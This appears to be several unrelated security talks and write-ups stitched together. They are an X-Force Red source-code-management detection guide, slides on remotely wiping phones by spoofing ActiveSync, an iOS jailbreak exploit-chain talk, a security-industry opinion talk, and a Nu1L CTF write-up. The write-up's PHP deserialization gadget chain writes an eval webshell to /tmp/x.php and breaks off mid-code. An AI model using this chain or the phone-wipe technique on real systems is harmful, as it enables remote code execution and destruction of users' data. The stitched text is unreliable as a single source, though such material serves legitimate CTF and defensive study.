Log ‘post’ AND 'personal_access_tokens' ‘post’ AND 'profile/keys' ‘post’ AND ‘personal_access_tokens’ ‘post’ AND 'user/keys' Modifying CI/CD Pipeline Production Log ‘post’ AND '/api/graphql' AND '.gitlab- ci.yml' AND ‘update’ Table of search queries for various attack types Additionally, the below items should be considered within GitLab Enterprise • Disable user impersonation • Do not allow users to create personal access tokens or SSH keys with no expiration date • Set automatic expiration date on all personal access tokens and SSH keys created/added • Limit the number of users with the admin role. At minimum there should be two admins, and should not be more unless necessary • Operate on a policy of least privilege in terms of access to projects and repositories • Require signed commits via GPG keys or S/MIME certificates • Enable MFA for accessing GitLab Enterprise • Ensure that code branches are deleted in a timely manner • Require at least one approver for each code commit X-Force Red | 3/2/2022 107 BITBUCKET Ensure that the below logs are being sent to your SIEM. This also lists the location of the logs on the Bitbucket server. This research specifically looked at Bitbucket Server. Log Name Location Access Log /var/atlassian/application- data/bitbucket/log/atlassian-bitbucket-access.log Audit Log /var/atlassian/application- data/bitbucket/log/audit/*.log Bitbucket Log /var/atlassian/application- data/bitbucket/log/atlassian-bitbucket.log Bamboo Log $BAMBOO_HOME/logs/atlassian-bamboo.log Table of Bitbucket logs of interest Below are the various filters you can apply to the logs to detect the attacks demonstrated in this whitepaper. Use these filters to build a baseline and detect anomalous activity in your environment. Attack Scenario Log Name Search Filter Reconnaissance Bitbucket Log ‘post’ AND ‘search’ AND ‘query’ Promoting User to Site Admin Access Log Audit Log ‘put’ AND ‘/admin/permissions/users’ 'new.permission' AND ‘admin’ Maintaining Persistent Access Access Log ‘put’ AND '/rest/access-tokens' ‘post’ AND 'ssh/account/keys/add' X-Force Red | 3/2/2022 108 Audit Log ‘personal access token created’ ‘user added ssh access key’ Modifying CI/CD Pipeline Bamboo Log ‘change detection found’ Table of search queries for various attack types Additionally, the below items should be considered within Bitbucket. • Do not allow users to create personal access tokens or SSH keys with no expiration date • Set automatic expiration date on all personal access tokens and SSH keys created/added • Limit the number of system admins. At minimum there should be two system admins, and should not be more unless necessary • Operate on a policy of least privilege in terms of access to projects and repositories • Require signed commits via GPG keys or S/MIME certificates • Enable MFA for accessing Bitbucket • Ensure that code branches are deleted in a timely manner • Require at least one approver for each code commit • Increase logging level to detect reconnaissance X-Force Red | 3/2/2022 109 Conclusion Source code management systems contain some of the most sensitive information in organizations and are a key component in the DevOps lifecycle. Depending on the role of an organization, compromise of these systems can lead to the compromise of other organizations. These systems are a high value to an attacker, and need more visibility from the information security community, as they are currently an afterthought compared to other systems such as Active Directory. It is X-Force Red’s goal that this whitepaper and research will bring more attention and inspire future research on defending these critical enterprise systems. X-Force Red | 3/2/2022 110 Acknowledgments A special thank you to the below people for giving feedback on this research and providing whitepaper content review. • Chris Thompson (@retBandit) • Daniel Crowley (@dan_crowley) • Dimitry Snezhkov (@Op_nomad) • Patrick Fussell (@capt_red_beardz) • Ruben Boonen (@FuzzySec) X-Force Red | 3/2/2022 111 Appendix A: Table of SCM Attack Scenarios The below table summarizes the attack scenarios shown in this whitepaper. SCM System Attack Scenario Sub-Scenario GitHub Enterprise Reconnaissance -Repository -File -Code GitLab Enterprise Reconnaissance -Repository -File -Code Bitbucket Reconnaissance -Repository -File -Code GitHub Enterprise Maintain Persistent Access -Personal Access Token -Impersonation Token -SSH Key GitLab Enterprise Maintain Persistent Access -Personal Access Token -Impersonation Token -SSH Key Bitbucket Maintain Persistent Access -Personal Access Token -SSH Key GitHub Enterprise User Impersonation -Impersonate User Login -Impersonation Token GitLab Enterprise User Impersonation -Impersonate User Login -Impersonation Token GitHub Enterprise Promoting User to Site Admin N/A GitLab Enterprise Promoting User to Admin Role N/A Bitbucket Promoting User to Admin Role N/A Bitbucket Modifying CI/CD Pipeline N/A GitLab Enterprise Modifying CI/CD Pipeline N/A GitHub Enterprise Repository Takeover N/A GitHub Enterprise Management Console Access N/A GitLab Enterprise SSH Access N/A Table of SCM attack scenarios
pdf
School of Computer & Security Science Edith Cowan University Exchanging Demands Peter Hannay [email protected] School of Computer & Security Science Edith Cowan University The Introduction School of Computer & Security Science Edith Cowan University Who am I? •  Lecturer •  Researcher •  Hacker •  Pentester •  PhD Candidate School of Computer & Security Science Edith Cowan University Interests •  Breaking things •  Laser tag •  Cats School of Computer & Security Science Edith Cowan University INSPIRATION The Story School of Computer & Security Science Edith Cowan University The Setting •  Post pentest drinks with client •  … So if you own the active directory server what exactly can you do? •  The norm, control of every user, ability to push policy updates, etc… •  Exchange can remotely wipe devices, so why not that too? School of Computer & Security Science Edith Cowan University Inspiration •  Do we really need exchange for that though? •  Maybe we just send the phone those commands directly •  but… School of Computer & Security Science Edith Cowan University THAT COULDN’T POSSIBLY WORK School of Computer & Security Science Edith Cowan University Surely not… •  It couldn’t be that easy could it? •  Surely SSL would prevent this if nothing else. •  Maybe it uses some sort of secure exchange, shared secrets, something… School of Computer & Security Science Edith Cowan University AN EXPERT OPINION •  I had a talk with a Microsoft Exchange admin type person… •  “It should work fine, as long as SSL is disabled” •  Damn.. Well, lets try it out anyway! School of Computer & Security Science Edith Cowan University TIME TO GET STARTED School of Computer & Security Science Edith Cowan University Exchange! •  Let’s get some packet dumps of a legit wipe operation •  Exchange can’t be that hard to install right? I’ve done postfix & sendmail before.. •  Crap. School of Computer & Security Science Edith Cowan University Some students I had hanging around School of Computer & Security Science Edith Cowan University Packet Sniffing - Provisioning POST  /Microsoft-­‐Server-­‐ActiveSync?Cmd=...........&DeviceType=Android  HTTP/1.1 Content-­‐Type:  application/vnd.ms-­‐sync.wbxml Authorization:  Basic  ZnVja2VyeS5mdWNrXGRpcnQ6cGFzc3dvcmQxMjMk MS-­‐ASProtocolVersion:  12.0 Connection:  keep-­‐alive User-­‐Agent:  Android/0.3 X-­‐MS-­‐PolicyKey:  358347207 Content-­‐Length:  13 Host:  192.168.1.218 HTTP/1.1  449  Retry  after  sending  a  PROVISION  command Cache-­‐Control:  private Content-­‐Type:  text/html Server:  Microsoft-­‐IIS/7.5 MS-­‐Server-­‐ActiveSync:  14.0 X-­‐AspNet-­‐Version:  2.0.50727 X-­‐Powered-­‐By:  ASP.NET Date:  Tue,  08  May  2012  07:08:22  GMT Content-­‐Length:  54 The  custom  error  module  does  not  recognize  this  error. School of Computer & Security Science Edith Cowan University Packet Sniffing - Wipe POST  /Microsoft-­‐Server-­‐ActiveSync?Cmd=Provision&User=........&DeviceType=Android  HTTP/1.1 Content-­‐Type:  application/vnd.ms-­‐sync.wbxml Authorization:  Basic  ZnVja2VyeS5mdWNrXGRpcnQ6cGFzc3dvcmQxMjMk MS-­‐ASProtocolVersion:  12.0 Connection:  keep-­‐alive User-­‐Agent:  Android/0.3 X-­‐MS-­‐PolicyKey:  0 Content-­‐Length:  41 Host:  192.168.1.218 ..j...EFGH.MS-­‐EAS-­‐Provisioning-­‐WBXML.....HTTP/1.1  200  OK Cache-­‐Control:  private Content-­‐Type:  application/vnd.ms-­‐sync.wbxml Server:  Microsoft-­‐IIS/7.5 MS-­‐Server-­‐ActiveSync:  14.0 Date:  Tue,  08  May  2012  07:00:04  GMT Content-­‐Length:  123 ..j...EK.1..FGH.MS-­‐EAS-­‐Provisioning-­‐WBXML..K.1..I.2761868790..JMN.0..O.0..Q.0..P.0..S.1..T.4..U.900.. V.8...X.1...Z.0....... School of Computer & Security Science Edith Cowan University Binary Protocols 00000000  48  54  54  50  2f  31  2e  31  20  32  30  30  20  4f  4b  0d  HTTP/1.1  200  OK. 00000010  0a  43  61  63  68  65  2d  43  6f  6e  74  72  6f  6c  3a  20  .Cache-­‐C  ontrol: 00000020  70  72  69  76  61  74  65  0d  0a  43  6f  6e  74  65  6e  74  private.  .Content 00000030  2d  54  79  70  65  3a  20  61  70  70  6c  69  63  61  74  69  -­‐Type:  a  pplicati 00000040  6f  6e  2f  76  6e  64  2e  6d  73  2d  73  79  6e  63  2e  77  on/vnd.m  s-­‐sync.w 00000050  62  78  6d  6c  0d  0a  53  65  72  76  65  72  3a  20  4d  69  bxml..Se  rver:  Mi 00000060  63  72  6f  73  6f  66  74  2d  49  49  53  2f  37  2e  35  0d  crosoft-­‐  IIS/7.5. 00000070  0a  4d  53  2d  53  65  72  76  65  72  2d  41  63  74  69  76  .MS-­‐Serv  er-­‐Activ 00000080  65  53  79  6e  63  3a  20  31  34  2e  30  0d  0a  44  61  74  eSync:  1  4.0..Dat 00000090  65  3a  20  54  75  65  2c  20  30  38  20  4d  61  79  20  32  e:  Tue,  08  May  2 000000A0  30  31  32  20  30  37  3a  30  30  3a  30  34  20  47  4d  54  012  07:0  0:04  GMT 000000B0  0d  0a  43  6f  6e  74  65  6e  74  2d  4c  65  6e  67  74  68  ..Conten  t-­‐Length 000000C0  3a  20  31  32  33  0d  0a  0d  0a  03  01  6a  00  00  0e  45  :  123...  ...j...E 000000D0  4b  03  31  00  01  46  47  48  03  4d  53  2d  45  41  53  2d  K.1..FGH  .MS-­‐EAS-­‐ 000000E0  50  72  6f  76  69  73  69  6f  6e  69  6e  67  2d  57  42  58  Provisio  ning-­‐WBX 000000F0  4d  4c  00  01  4b  03  31  00  01  49  03  32  37  36  31  38  ML..K.1.  .I.27618 00000100  36  38  37  39  30  00  01  4a  4d  4e  03  30  00  01  4f  03  68790..J  MN.0..O. 00000110  30  00  01  51  03  30  00  01  50  03  30  00  01  53  03  31  0..Q.0..  P.0..S.1 00000120  00  01  54  03  34  00  01  55  03  39  30  30  00  01  56  03  ..T.4..U  .900..V. 00000130  38  00  01  17  58  03  31  00  01  19  5a  03  30  00  01  01  8...X.1.  ..Z.0... 00000140  01  01  01  01  .... School of Computer & Security Science Edith Cowan University Decoded <Provision>  <Status>1</Status>  <Policies>  <Policy>  <PolicyType>MS-­‐EAS-­‐Provisioning-­‐WBXML</PolicyType>  <Status>1</Status>  <PolicyKey>2761868790</PolicyKey>  <Data>  <EASProvisionDoc>  <DevicePasswordEnabled>0</DevicePasswordEnabled>  <AlphanumericDevicePasswordRequired>0</AlphanumericDevicePasswordRequired>  <PasswordRecoveryEnabled>0</PasswordRecoveryEnabled>  <DeviceEncryptionEnabled>0</DeviceEncryptionEnabled>  <AttachmentsEnabled>1</AttachmentsEnabled>  <MinDevicePasswordLength>4</MinDevicePasswordLength>  <MaxInactivityTimeDeviceLock>900</MaxInactivityTimeDeviceLock>  <MaxDevicePasswordFailedAttempts>8</MaxDevicePasswordFailedAttempts>  <MaxAttachmentSize  />  <AllowSimpleDevicePassword>1</AllowSimpleDevicePassword>  <DevicePasswordExpiration  />  <DevicePasswordHistory>0</DevicePasswordHistory>  </EASProvisionDoc>  </Data>  </Policy>  </Policies>  <RemoteWipe  /> </Provision> School of Computer & Security Science Edith Cowan University The Background School of Computer & Security Science Edith Cowan University Structure School of Computer & Security Science Edith Cowan University Policy <DevicePasswordEnabled>0</DevicePasswordEnabled> <AlphanumericDevicePasswordRequired>0</AlphanumericDevicePasswordRequired> <PasswordRecoveryEnabled>0</PasswordRecoveryEnabled> <DeviceEncryptionEnabled>0</DeviceEncryptionEnabled> <AttachmentsEnabled>1</AttachmentsEnabled> <MinDevicePasswordLength>4</MinDevicePasswordLength> <MaxInactivityTimeDeviceLock>900</MaxInactivityTimeDeviceLock> <MaxDevicePasswordFailedAttempts>8</MaxDevicePasswordFailedAttempts> <MaxAttachmentSize  /> <AllowSimpleDevicePassword>1</AllowSimpleDevicePassword> <DevicePasswordExpiration  /> <DevicePasswordHistory>0</DevicePasswordHistory> </EASProvisionDoc> School of Computer & Security Science Edith Cowan University Targets School of Computer & Security Science Edith Cowan University MiTM •  WiFi is cool, phones have WiFi •  ARP Poisoning •  Pineapple School of Computer & Security Science Edith Cowan University LETS WIPE The Dance School of Computer & Security Science Edith Cowan University Step 1: Request •  Accept connection •  Use a shonky self signed SSL cert School of Computer & Security Science Edith Cowan University Step 2: Provision •  Send HTTP error 449 School of Computer & Security Science Edith Cowan University Step 3: Wipe •  Send policy push containing wipe command •  Celebrate. School of Computer & Security Science Edith Cowan University Demo Time •  Oh no L •  Lets hope this works…. School of Computer & Security Science Edith Cowan University Future Work School of Computer & Security Science Edith Cowan University Compulsory OSS Project: Protocol Library •  Emulate ActiveSync Protocol •  Allow for projects to interact with mobile clients in new ways •  Translation layer between exchange clients and other servers •  Lots of things! School of Computer & Security Science Edith Cowan University Lofty Goal: Data Theft •  Wouldn’t it be nice if we could get data back off the phones •  Remote backup functionality •  Sync features •  Hopefully possible! School of Computer & Security Science Edith Cowan University Lofty Goal: Ongoing Access •  What sort of configuration options can we set? •  Anything undocumented? •  Can we reconfigure the device to point at another server? School of Computer & Security Science Edith Cowan University Concluding… School of Computer & Security Science Edith Cowan University Thanks! •  Andrew Kitis •  Rob McKnight •  Randal Adamson •  Sid •  Murray Brand •  Clinton Carpene •  #nodavesclub •  #cduc •  #kiwicon School of Computer & Security Science Edith Cowan University ANY QUESTIONS?! Thanks for Listening!
pdf
KCon KCon Breaking iOS Mitigation Jails to Achieve Your Own Private Jailbreak Min(Spark) Zheng @ Alibaba Mobile Security ONLY AVAILABLE AT THE SCENE iOS status • Apple sold more than 1 billion iOS devices. More than 380,000 registered iOS developers in the U.S. • It was reported that iOS is more secure than Android due to its controlled distribution channel and comprehensive apps review. E.g., FBI vs Apple. • However, there are still potential risks for iOS systems. We will share our private jailbreak and show how to break the protection of iOS system. iOS System Architecture Sandbox Team ID Entitlement Kernel KPP Jailbreak! ONLY AVAILABLE AT THE SCENE iOS mitigations Sandbox Team ID Entitlement Kernel KPP Jailbreak! You can not touch most of kernel interfaces unless you escape the sandbox. You can not execute or load any binary unless the bin has the “platform-binary” team-id. You can not create hid devices unless the bin has the “com.apple.hid.manager.user-access-device” entitlement. You can not control the kernel unless you have kernel bugs and bypass kernel heap mitigations. You can not patch the kernel unless you can bypass the kernel patch protection. Finally, you did it! Sandbox and NSXPC • iOS apps are in the sandbox and they are separated from each other. • App can communicate with unsandboxed system services through IPC (e.g., mach message, XPC, NSXPC). • In this talk, we focus on NSXPC and discuss one IPC vulnerability we found that can escape the sandbox. APP sandbox XPC services NSXPC services APP sandbox iOS 9.0 Jailbreak: CVE-2015-7037 • com.apple.PersistentURLTranslator.Gatekeeper • This service has path traversal vulnerability that an app can mv folders outside the sandbox with mobile privilege (used in Pangu9 for jailbreak). ONLY AVAILABLE AT THE SCENE ONLY AVAILABLE AT THE SCENE ONLY AVAILABLE AT THE SCENE Heap spray through OOL msg • Traditional xpc_dictionary heap spray. Failed because the data was freed before pc control. • Asynchronous xpc_dictionary heap spray. Unstable because the time window is very small. • SQL query heap spray. Low success rate because of ASLR and memory limit. • Asynchronous OOL Msg heap spray. Finally success! ROP ROP ROP ROP ROP ROP ROP ROP ROP ROP ROP ROP ROP ROP ROP ROP ROP ROP ROP ROP ROP ROP ROP ROP PC Memory ONLY AVAILABLE AT THE SCENE NEXT: User mode -> Kernel iOS kernel overview • Mach - Kernel threads - Inter-process communication • BSD - User ids, permissions - Basic security policies - System calls • IOKit - Drivers (e.g., graphic, keyboard) Kernel: XNU Mach BSD IOKit User Mode Entitlement ONLY AVAILABLE AT THE SCENE ONLY AVAILABLE AT THE SCENE iOS 9.0 IOHIDFamily UAF • OSSafeRelease() is not safe! Fake device & vtable & ROP R3=device1-0x3B4+4 R0 = Device1 R6=read_gadget R6 = [R3, #0x3B4] = Device1 - 0x3B4 + 4 + 0X3B4 = Device1 + 4 Device1 + 4 Device1 R6=write_gadget Device1 + 8 R3=device1-0x3B4+8 R0 = Device2 R6 = [R3, #0x3B4] = Device1 - 0x3B4 + 8 + 0X3B4 = Device1 + 8 Device2 iOS 9.3 IOHIDDevice heap overflow • There are three types of report in IOHIDDevice: Input, Output, Feature. But no check for Input report. • If Input report > max(Output report, Feature report), then trigger heap overflow. • By using this vulnerability, the attacker can achieve arbitrary length of heap overflow in any kalloc zone. iOS 9.3 Heap Overflow Input, Output, Feature Report: if (Input > Output) then Overflow 32 32 32 32 160 32 32 32 32 32 Zone.32 Zone.32 Overflow Leak Kslide Using Heap Feng Shui • The first 8 bytes of the object is the vtable addr of UserClient. Comparing the dynamic vtable address with the vtable in the kernelcache,the attacker can figure out the kslide. • kslide = 0xFFFFFFF022b9B450 – 0xFFFFFFF006F9B450 = 0x1BC00000 kalloc.4096 kalloc.4096 kalloc.4096 holder first_port userclient 0x40 0x100 read Arbitrary Kernel Memory Read and Write • The attacker first uses OSSerialize to create a ROP which invokes uuid_copy. In this way, the attacker could copy the data at arbitrary address to the address at kernel_buffer_base + 0x48 and then use the first_port to get the data back to user mode. • If the attacker reverses X0 and X1, he could get arbitrary kernel memory write ROP. X0=[X0,#0x10] = kernel_buffer_base+0x48 X1=address X3=kernel_uuid_copy BR X3 Arbitrary Kernel Memory Read and Write • If the attacker calls IOConnectGetService(Client_port) method, the method will invoke getMetaClass(),retain() and release() method of the Client. • Therefore, the attacker can send a fake vtable data of AGXCommandQueue UserClient to the kernel through the first_port and then use IOConnectGetService() to trigger the ROP chain. • After getting arbitrary kernel memory read and write, the next step is kernel patch. The latest and public kernel patch technique could be referred to yalu 102. Kernel patch for jailbreak Patching security features of iOS in order to jailbreak: • Kernel_PMAP: to set kernel pages RWX. • Task_for_pid: to get kernel task port. • Setreuid: to get root. • AMFI: to disable signature check. • LwVM (Lightweight Volume Manager): to remount the root file system. …… Kernel patch protection bypass Apple introduced KPP in iOS 9 for its 64-bit devices. The feature aims to prevent any attempt at kernel patching, by running code at the processor's EL3 which even the kernel code (executing at EL1) cannot access. For arm32: • There is no KPP, we can patch the kernel text directly. (iOS 9.3.5 Phoenix JB) For arm64: • Timing attack. Before iPhone 7, KPP is not a real time check mechanism, patching and restoring the kernel text in a short time window is ok. • Patching data on heap is ok. But it is hard for us to patch LwVM. • Page remapping with fake TTBR (used in yalu 102). iOS jailbreak process CodeSign SandBox TeamID Entitlement Userland Kernel Patch KPP Heap Mitigation IOKit/XNU Kernel Root Break CodeSign Remount RFS Jailbreak Apps Jailbreak Jailbreak! OverSky (aka Flying) Jailbreak for iOS 9.3.4/9.3.5 (0day at that time) https://www.youtube.com/watch?v=GsPmG8-kMK8 Conclusion • To mitigate iOS potential threats, more and more mitigation approaches are introduced by Apple. We conducted an in-depth investigation on the current mitigation strategies to have a better understanding of these protections and tried to find out their weaknesses. • Particularly, we will present how to break each specific mitigation mechanism by exploiting corresponding vulnerabilities, and construct a long exploit chain to achieve jailbreak. • Following the technique details presented in our talk, it is possible for anyone who interested to rewrite his own private iOS jailbreak. Thank you! Thank you!
pdf
Dirty Little Secrets of Information Security Why we might not be doing as well as you would hope. Bruce Potter ([email protected]) 1 Don’t Believe Anything I Say • “Every person who has mastered a profession is a skeptic concerning it.” - George Bernard Shaw • “Authority has every reason to fear the skeptic, for authority can rarely survive in the face of doubt” - Robert Lindner • Security is all about not trusting what you are hearing, seeing, or being sent to you • As true in meatspace as in teh tubes • By Day, Senior Associate for Booz Allen Hamilton • Wireless Security, application assurance, information security strategy • By Night, Founder of The Shmoo Group 2 What’s happening here? • The goal of this talk is to call out some of the 800lbs gorillas in the room • The security industry is riddled with them, and sometimes they’re called out in non-productive ways • I’d like to address them head on... and actually do something useful with our jobs • NOTE: Much of what is in this presentation you will probably disagree with. Also, much of what is in this presentation is my opinion and analysis based on what can loosely be called “research.” Feel free to throw stones. 3 Let’s have some structure to our discussion IDS Patch Mgt Policies & Procedures Firewalls AAA Services Software ACLs Software Sec Honey pots Sophistication and Operational Cost Operations (IT) Network Software Operations (Security) Academic / Emerging 4 What gave birth to the 800lbz Gorillaz? • The security community as evolved dramatically over the last several decades • Initially a small group of computer scientists in the 60’s ran a small, academic group of computers 1960 1970 1980 1990 2000 Unix Developed Tubes! Computers with Tubes! ARPANet starts 5 What gave birth to the 800lbz Gorillaz? • Things got serious in the 70’s • Telnet was introduced • A great deal of research on trusted systems was performed • Blueboxing was born 1960 1970 1980 1990 2000 Unix Developed Tubes! Computers with Tubes! ARPANet starts Capt’n Crunch Whistle BBS gain popularity Lampson’s “Protection” 6 What gave birth to the 800lbz Gorillaz? • Security emerged as a cottage industry in the 80’s • BBS’s ruled the day • Viruses and trojans started going mainstream • The hacker underground was born in ernest 1960 1970 1980 1990 2000 Unix Developed Tubes! Computers with Tubes! ARPANet starts Capt’n Crunch Whistle BBS gain popularity Lampson’s “Protection” PC is born Morris Worm 2600, LoD, CdC, ETC... 7 What gave birth to the 800lbz Gorillaz? • The .bomb exploded • Firewalls, AV, and IDS were created and rapidly became commonplace • Da interweb is born... everyone forgets about the other 65533 ports • Hackers go mainstream 1960 1970 1980 1990 2000 Unix Developed Tubes! Computers with Tubes! ARPANet starts Capt’n Crunch Whistle BBS gain popularity Lampson’s “Protection” PC is born Morris Worm 2600, LoD, CdC, ETC... Mosiac begats Netscape “Hackers” - teh Movie DefCon I 8 What gave birth to the 800lbz Gorillaz? • The naughties? Social Networking? Oh Noes! • The Internet starts its spread everywhere • The end of the crypto battle puts strong crypto into everyone’s hands • Hackers become highly profit driven 1960 1970 1980 1990 2000 Unix Developed Tubes! Computers with Tubes! ARPANet starts Capt’n Crunch Whistle BBS gain popularity Lampson’s “Protection” PC is born Morris Worm 2600, LoD, CdC, ETC... Mosiac begats Netscape “Hackers” - teh Movie DefCon I CodeRed, Slammer DieHard IV - teh Movie Microsoft finds Security 9 Secret #1 - Defense in Depth is Dead • In the beginning, there was bad code • And there was much rejoicing, because at least we had computers that did stuff for us • No type safety • No fault isolation • No error handling • No assurance in the code • No real access control • BUT... at least it was doing our bidding TUBES! 10 Defense in Depth is Dead • Over time, we began to network systems together • ARPANet, then the Internet • Firewalls popped up everywhere • TIS released its source • Stateful Firewalls • But still, we had bad code... even more of it than before • “A firewall is a network response to a software engineering problem” - Steve Bellovin • The dawn of the firewall age was the beginning of “defense in depth” Crappy Code Award Crappy Code Award 11 Auth Tokens IDS Anti Virus Defense in Depth is Dead • Then networks became global and attacks started to come in all shapes and sizes • So we deployed IDS’s, AV, and anti-spam to find the bad guys • And we deployed multifactor auth to keep the bad guys out • And we spent WAY too much time managing this mess • But still we had bad code 12 Defense in Depth is Dead • Now, we’re moving towards service based architectures where the “network is the computer” and SOA rules all • So we deploy XML firewalls to protect our applications • And we use Single Sign On so our users aren’t hassled • But still we have bad code • All this time, systems have become incredibly complicated • Millions and millions of lines of code were required for me to type this Power Point slide • Billions of lines of code define most enterprises XML Firewall 13 Defense in Depth is Dead • While KLOC/enterprise has gone through the roof, have we seen a similar increase in power of our security management and operations tools? Have we seen more security staff applied to the problem? • An idea: Fix the Damn Code! • Type safety • Secure coding taught to ALL CS majors • Trusted computing • AT LEAST, we need better software controls on our systems, not better firewalls 14 Secret #2 - We are over a decade away from professionalizing the workforce • How many people have a degree in anything security related? • Most security programs geared towards graduate level students, not the masses of undergrads… • And most of those are “Information Assurance”, not secure coding, not network security, not security operations • How many people here even have graduate degrees? • The VAST majority of the security workforce has learned how to do their job through self-education, OJT, and (frankly) security conferences and training • Name one other USD10Billion industry where the majority of the workforce is basically “untrained” in the eyes of the public and with a zero-level barrier to entry • So the question remains: How do we codify our knowledge and instruct the next generation of mini-Dans, mini-Halvar’s, and mini- DT’s? 15 Looking at the current workforce, we have to realize we can’t train everyone • Software developers are the smartest they’ll ever be the day they graduate from college • No offense intended… • Security is everyone’s problem, right? • Well, you can’t train even the people with security in their title, let alone “everyone” • A single break in the wall usually compromises the entire system... s/a single untrained person/ • One good work of social engineering can cause huge problems • Users need tools that don’t require education to be used securely 16 Secret #3 - Many of the security product vendors are about to be at odds with the rest of IT • This defense in depth thing led to an incredible industry of security products • It is estimated the network security market alone will be $7bln in a year or two • Firewalls, IDS, log analysis, AAA services, etc are a core part of any IT budget • Very few products are actually geared towards making the foundation more secure • Software scanners such as those created by Ounce Labs, Fortify, and Aspect • HSM’s, smart cards, and other hardware 17 Secret #3 - At odds • A recent case study: • Microsoft hears the message that consumers want a more secure operating system • Microsoft knows that the 64-bit version of the OS is the future and where enterprise demand will be • Microsoft integrates driver signing requirements to prevent malicious code from hooking the kernel • Security vendors complain that Microsoft is exerting too much control of the kernel and stopping their products from working right • Some security vendors (Authentium for instance) find ways to bypass security • Microsoft bends and says they’ll create API’s to allowed some unsigned driver interaction, defeating the purpose of the security mechanism 18 Secret #3 - At odds • So, the landscape has shifted • The past: We presumed that the software in our systems was so insecure that we had to buy 3rd party security products • A corollary: The quality of code in the 3rd party products was worthy of the trust we placed in them • The future: Software security is a real concern (largely for compliance and legal issues, but whatever) and may big software shops are starting to figure this out • So, what does the future of these 3rd party security products look like? 19 Secret the Last - Full Disclosure is Dead • Or at the very least, it’s hurt very bad • There is tons of money to be had in selling bugs • Only in the last 15 years has public discussions of Information Security issues come into vogue • From obscure geeky bulletin boards to the front page of the NY Times… • Because of the specialized knowledge required, and the lack of a formal body of knowledge, a community has grown • Information on vulnerability research methods, specific vulnerability info and live exploits were publicly discussed • The idea of “responsible disclosure” was born (and debated at length) • But things have changed… 20 Decreased exploit development timeframes and mercenary exploit dev are changing the rules • Patches have two major uses • Secure a system that has a known vulnerability • Determine what vulnerability was patched in order to develop an exploit • In the last several years, there has been an incredible decrease in the amount of time between patch release and creation of a successful exploit • Microsoft’s Patch Tuesday has been great for both attackers and defenders alike • The moral? Patch disclosure is essentially the same as vulnerability disclosure • Many security companies now offer money in exchange for exclusive rights to exploits from mercenary exploit developers • Tipping Point’s Zero Day Initiative (ZDI) • iDefense’s Vulnerability Contributor Program (VCP) • Many private transactions • These programs have “rewards” programs, as well as other incentives… 21 This has TOTALLY changed the “full disclosure” argument • Changes the foundational argument • Previously: What disclosure method should I employ? • Now: Should I disclose or should I profit? • NOTE: these options may not be mutually exclusive, but it’s hard to verify its not • Maybe, just maybe, we’ve lost track of what we’re trying to get done • Ultimately, we’re trying to make live systems more resilient to attack • By creating a secondary market for vulnerability info, we’re profiting at (potentially) the expense of the end user 22 So... where does that leave us? • The landscape has changed, and we need to recognize it • We need to push vendors to make products that actually create a secure foundation, not just layer on more protections that need to be managed • We need to create a more formal body of knowledge for information security... and we need to hold each other accountable • Now, for some announcements 23 ShmooCons Past and Future • ShmooCon 3 was a great success • 30 folks helped setup the network via ShmooCon Labs • 1000 people showed up... 1000 people left (success!) • Raised money for EFF, raised awareness for OLPC • ShmooCon 4 planning is ongoing • Likely dates: Feb 15-17, 2008 • Likely location: Same. Wardman Park Marriott, DC • Likely will continue to be a blast • Expect some interesting Shmoo announcements in the coming months 24 w00t! 25
pdf
TCTF WriteUp By Nu1L TCTF WriteUp By Nu1L WEB soracon 1linephp worldcup Reverse vp FEA lalamblambdadambda Crypto zer0lfsr- checkin PWN listbook how2mutate uc_masteeer Babyheap 2021 MISC uc_baaaby GutHib welcome singer Survey WEB soracon phpsolrint pop chain <?php namespace Phalcon\Logger { class Item { public $context; public $time; public $levelName; public $message; public function __construct($context, $time, $levelName, $message) { $this->context = $context; $this->time = $time; $this->levelName = $levelName; $this->message = $message; } } } namespace Phalcon\Logger\Formatter { class Line { public $format; public $dateFormat; public function __construct($format, $dateFormat) { $this->format = $format; $this->dateFormat = $dateFormat; } } } namespace Phalcon\Logger\Adapter { class Stream { public $name; public $inTransaction; public $mode; public $queue; public $formatter; public function __construct($name, $mode, $queue, $formatter) { $this->inTransaction = 1; $this->name = $name; $this->mode = $mode; $this->queue = $queue; $this->formatter = $formatter; } } } namespace { $time = new DateTimeImmutable(); $item = new Phalcon\Logger\Item([], $time, "test", "test"); $line = new Phalcon\Logger\Formatter\Line('MTIzPD9waHAgcGhwaW5mbygpO2V2YWwoJF9HRVRbInh4Il0pOz8+', "Y-m-d H:i:s"); $queue1 = [$item]; $stream = new Phalcon\Logger\Adapter\Stream("/tmp/x.php", "w", $queue1, $line); $x = serialize($stream); header('Content-Type:text/xml'); $c = '<?xml version="1.0" encoding="UTF-8"?> <solr_document> <arr> <int>1;i:1;' . $x . ';i:2;s:17:"a</int> <int>1</int> <int>2"</int> </arr> </solr_document>'; echo $c; } <?php namespace Phalcon{ class Di{ public $services; public function __construct($funcname, $service, $eventsManager, $evil_func_name,$s2){ $possibleService = lcfirst(substr($funcname, 3)); $this->services = [$possibleService => $service, "modelsManager"=>$s2]; $this->eventsManager = $eventsManager; $this->sharedInstances = [$possibleService => $evil_func_name ]; } } class Validation{ public function __construct($container){ $this->container = $container; } } } namespace Phalcon\Events{ class Manager{ public $events; public function __construct($events){ $this->events = $events; //type = di // eventName = beforeServiceResolve // events ["di"=>fireEvents(SplPriorityQueue)] } } } namespace Phalcon\Logger { class Item { public $context; public $time; public $levelName; public $message; public function __construct($context, $time, $levelName, $message) { $this->context = $context; $this->time = $time; $this->levelName = $levelName; $this->message = $message; } } } namespace Phalcon\Logger\Formatter { class Line { public $format; public $dateFormat; public function __construct($format, $dateFormat) { $this->format = $format; $this->dateFormat = $dateFormat; } } } namespace Phalcon\Logger\Adapter { class Stream { public $name; public $inTransaction; public $mode; public $queue; public $formatter; public function __construct($name, $mode, $queue, $formatter) { $this->inTransaction = 1; $this->name = $name; $this->mode = $mode; $this->queue = $queue; $this->formatter = $formatter; } } } namespace Phalcon\Di{ class Service { 1linephp zip26 public $shared, $definition; public function __construct($shared, $definition){ $this->shared = $shared; $this->definition = $definition; } } } namespace { $manager = new Phalcon\Events\Manager([]); $service = new Phalcon\Di\Service(false, ['className'=>"Phalcon\Mvc\Model\Query",'arguments'=>["a"=> ["type"=>"parameter","value"=>"test"]]]); $s2 = new Phalcon\Di\Service(false, ['className'=>"Phalcon\Config\Adapter\Php",'arguments'=>["a"=> ["type"=>"parameter","value"=>"php://filter/read=convert.base64- decode/resource=/tmp/x.php"]]]); $di = new \Phalcon\Di("getMessage",$service,$manager,NULL,$s2); $time = new DateTimeImmutable(); $item = new Phalcon\Logger\Item([], $time, "test", "test"); $line = new 